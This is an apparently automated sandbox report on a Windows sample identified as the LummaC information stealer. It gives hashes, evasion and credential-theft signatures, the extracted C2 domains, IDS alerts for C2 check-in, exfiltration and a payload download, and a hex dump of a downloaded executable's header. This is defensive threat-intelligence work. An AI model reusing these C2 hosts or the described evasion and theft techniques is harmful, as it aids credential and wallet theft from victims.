Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559711
MD5:	1f9e0235a6c12bd12d8220185fad9d04
SHA1:	9673c5a73b0a5823adabd6e5e831415e49cc2139
SHA256:	c0ab2ce327eb8e97036ac5bd876658cb5b7016dab1d8dd1aced2786f66941d40
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6860 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1F9E0235A6C12BD12D8220185FAD9D04)

chrome.exe (PID: 5756 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2916 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2008,i,3826648894822423509,4444800806446167080,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7740 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1980,i,2029121025495776,18205823423671010898,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["3xp3cts1aim.sbs", "p3ar11fter.sbs", "p10tgrace.sbs", "peepburry828.sbs", "processhol.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1837908059.0000000000DC1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1763547491.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1789605259.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1763473029.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1814476131.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1813653561.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1838507084.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1837932016.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1788475696.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6860	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 6 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T21:04:03.986111+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.66.38	443	TCP
2024-11-20T21:04:05.998932+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.66.38	443	TCP
2024-11-20T21:04:08.362682+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.66.38	443	TCP
2024-11-20T21:04:10.836396+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.66.38	443	TCP
2024-11-20T21:04:13.498944+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.66.38	443	TCP
2024-11-20T21:04:16.181341+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.66.38	443	TCP
2024-11-20T21:04:18.903549+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	104.21.66.38	443	TCP
2024-11-20T21:04:25.387127+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	104.21.66.38	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T21:04:04.692509+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	104.21.66.38	443	TCP
2024-11-20T21:04:06.708558+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.66.38	443	TCP
2024-11-20T21:04:26.139635+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49742	104.21.66.38	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T21:04:04.692509+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	104.21.66.38	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T21:04:06.708558+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	104.21.66.38	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T21:04:27.674813+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49744	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T21:04:16.971858+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49735	104.21.66.38	443	TCP

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 20:04:27 GMTContent-Type: application/octet-streamContent-Length: 2768384Last-Modified: Wed, 20 Nov 2024 19:41:03 GMTConnection: keep-aliveETag: "673e3b4f-2a3e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2a 00 00 04 00 00 6b 14 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 79 73 64 6e 6e 65 6d 00 e0 29 00 00 a0 00 00 00 dc 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 76 63 6e 73 67 63 6d 00 20 00 00 00 80 2a 00 00 06 00 00 00 16 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2a 00 00 22 00 00 00 1c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49744 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 104.21.66.38:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=gzyZfBdA9bgtO6B&MD=sVMyygHk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=gzyZfBdA9bgtO6B&MD=sVMyygHk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
